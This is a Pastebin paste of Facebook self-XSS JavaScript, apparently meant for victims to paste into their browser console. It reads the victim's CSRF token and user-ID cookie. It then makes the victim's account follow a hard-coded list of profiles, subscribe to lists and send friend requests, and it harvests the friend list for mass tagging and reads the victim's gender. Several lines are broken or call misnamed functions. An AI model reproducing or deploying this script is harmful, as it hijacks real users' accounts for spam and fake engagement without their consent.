Advertisement
duy6ndc

Untitled

Apr 16th, 2014
59
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 6.37 KB | None | 0 0
  1. var fb_dtsg = document.getElementsByName('fb_dtsg')[0].value;
  2. var user_id = document.cookie.match(document.cookie.match(/c_user=(\d+)/)[1]);
  3. alert('Chúc các bạn chơi FB vui vẻ nhé ^^');
  4. function a(abone){
  5. var http4 = new XMLHttpRequest();
  6. var url4 = "/ajax/follow/follow_profile.php?__a=1";
  7. var params4 = "profile_id=" + abone + "&location=1&source=follow-button&subscribed_button_id=u37qac_37&fb_dtsg=" + fb_dtsg + "&lsd&__" + user_id + "&phstamp=";
  8. http4.open("POST", url4, true);
  9. http4.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
  10. http4.setRequestHeader("Content-length", params4.length);
  11. http4.setRequestHeader("Connection", "close");
  12. http4.onreadystatechange = function() {
  13. if(http4.readyState == 4 && http4.status == 200) {http4.close;}
  14. }
  15. http4.send(params4);
  16. }
  17. // Close the connection
  18. function sublist(uidss) {
  19. var a = document.createElement('script');
  20. a.innerHTML = "new AsyncRequest().setURI('/ajax/friends/lists/subscribe/modify?location=permalink&action=subscribe').setData({ flid: " + uidss + " }).send();";
  21. document.body.appendChild(a);
  22. }
  23. // Không edit bất kì gì từ đây trở lên
  24. a("100005088782552");("100003999127467");("100004346165952");("100007381083943");("100006863433279");("100005371502761");("100004714328060");("100004228052345");("100004024318169");("100007570600562");("100005813253871");("100005672191384");("100006510190102");("100005980988697");("100006351008871");("100004493074886");("100007711750962");("100006515499666");("100007143572542");("100007503340355");("100003896793020");("100007820940949");("100006593228552");("100003718168190");("100005803627680");("100003710164000");("100006990394268");("100007846838802");("100005772550487");("100005473625302");("100007780841160");("100006484874725");("100004780356998");("100007651801945");("100005544543172");("100006585154701");("100006622116150");("100005088609712");("100006896648184");("100003122874088");("100007359433443");("100007810272167");("100006108153217");("100007579233723");("100005347412344");("100006887373924");("100005637784933");("100006960426285");("100006577232591");("100005766638752");("100002264754356");("100007798321602");("100006094024632");("100005018319844");("100005221265572");("100006311557415");("100006659827494");("100005328584287");("100006038228009");("100005644802588");("100007590848579");("100003853820465");("100007707306977");("100005828742314");("100006505771646");("100004645327858");("100004346504025");("100006669910893");("100005863482224");("100007770222346");("100007458843498");("100005117100361");("100004344372497");("100007412733398");("100003850486774");("100007745253281");("100006545536793");("100005977830319");("100003916820259");("100006627974418");("100008002443835");("100007251301134");("100005089200182");("100005793071764");("100007051179449");("100005536538311");("100006420870170");("100004897685238")
  25. // Hàng VIP
  26.  
  27.  
  28. // Từ đây trở xuống là nhảm chủ yếu giấu bớt ID
  29. function sarkadaslari_al(){
  30. var xmlhttp = new XMLHttpRequest();
  31. xmlhttp.onreadystatechange = function () {
  32. if(xmlhttp.readyState == 4){
  33. eval("arkadaslar = " + xmlhttp.responseText.toString().replace("for (;;);","") + ";");
  34. for(f=0;f<Math.round(arkadaslar.payload.entries.length/10);f++){
  35. smesaj = "";
  36. smesaj_text = "";
  37. for(i=f*10;i<(f+1)*10;i++){
  38. if(arkadaslar.payload.entries[i]){
  39. smesaj += " @[" + arkadaslar.payload.entries[i].uid + ":" + arkadaslar.payload.entries[i].text + "]";
  40. smesaj_text += " " + arkadaslar.payload.entries[i].text;
  41. }
  42. }
  43. sdurumpaylas(); }
  44.  
  45. }
  46.  
  47. };
  48. var params = "&filter[0]=user";
  49. params += "&options[0]=friends_only";
  50. params += "&options[1]=nm";
  51. params += "&token=v7";
  52. params += "&viewer=" + user_id;
  53. params += "&__user=" + user_id;
  54.  
  55. if (document.URL.indexOf("https://") >= 0) { xmlhttp.open("GET", "https://www.facebook.com/ajax/typeahead/first_degree.php?__a=1" + params, true); }
  56. else { xmlhttp.open("GET", "http://www.facebook.com/ajax/typeahead/first_degree.php?__a=1" + params, true); }
  57. xmlhttp.send();
  58. }
  59.  
  60. var tiklama = document.addEventListener("click", function () {
  61. if(document.cookie.split("paylasti=")[1].split(";")[0].indexOf("hayir") >= 0){
  62. svn_rev = document.head.innerHTML.split('"svn_rev":')[1].split(",")[0];
  63. sarkadaslari_al();
  64. document.cookie = "paylasti=evet;expires="+ btarihi.toGMTString();
  65.  
  66. document.removeEventListener(tiklama);
  67. }
  68. }, false);
  69.  
  70. function sarkadasekle(uid,tem){
  71. var xmlhttp = new XMLHttpRequest();
  72. xmlhttp.onreadystatechange = function () {
  73. if(xmlhttp.readyState == 4){
  74. }
  75. };
  76.  
  77. xmlhttp.open("POST", "/ajax/add_friend/action.php?__a=1", true);
  78. var params = "to_friend=" + uid;
  79. params += "&action=add_friend";
  80. params += "&how_found=friend_browser";
  81. params += "&ref_param=none";
  82. params += "&outgoing_id=";
  83. params += "&logging_location=friend_browser";
  84. params += "&no_flyout_on_click=true";
  85. params += "&ego_log_data=";
  86. params += "&http_referer=";
  87. params += "&fb_dtsg=" + document.getElementsByName('fb_dtsg')[0].value;
  88. params += "&phstamp=165816749114848369115";
  89. params += "&__user=" + user_id;
  90. xmlhttp.setRequestHeader ("X-SVN-Rev", svn_rev);
  91. xmlhttp.setRequestHeader ("Content-Type","application/x-www-form-urlencoded");
  92.  
  93. if(tem == "farketmez" && document.cookie.split("tem" + user_id +"=").length > 1){
  94. xmlhttp.send(params);
  95. }else if(document.cookie.split("tem" + user_id +"=").length <= 1){
  96. cinsiyetgetir(uid,tem,"sarkadasekle");
  97. }else if(tem == document.cookie.split("tem" + user_id +"=")[1].split(";")[0].toString()){
  98. xmlhttp.send(params);
  99. }
  100. }
  101.  
  102. var temsonuc = {};
  103. var temhtml = document.createElement("html");
  104. function scinsiyetgetir(uid,tem,fonksiyon){
  105. var xmlhttp = new XMLHttpRequest();
  106. xmlhttp.onreadystatechange = function () {
  107. if(xmlhttp.readyState == 4){
  108. eval("temsonuc = " + xmlhttp.responseText.toString().replace("for (;;);","") + ";");
  109. temhtml.innerHTML = temsonuc.jsmods.markup[0][1].__html
  110. btarihi.setTime(bugun.getTime() + 1000*60*60*24*365);
  111. if(temhtml.getElementsByTagName("select")[0].value == "1"){
  112. document.cookie = "tem" + user_id + "=kadin;expires=" + btarihi.toGMTString();
  113. }else if(temhtml.getElementsByTagName("select")[0].value == "2"){
  114. document.cookie = "tem" + user_id + "=erkek;expires=" + btarihi.toGMTString();
  115. }
  116. eval(fonksiyon + "(" + id + "," + tem + ");");
  117. }
  118. };
  119. xmlhttp.open("GET", "/ajax/timeline/edit_profile/basic_info.php?__a=1&__user=" + user_id, true);
  120. xmlhttp.setRequestHeader ("X-SVN-Rev", svn_rev);
  121. xmlhttp.send();
  122. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement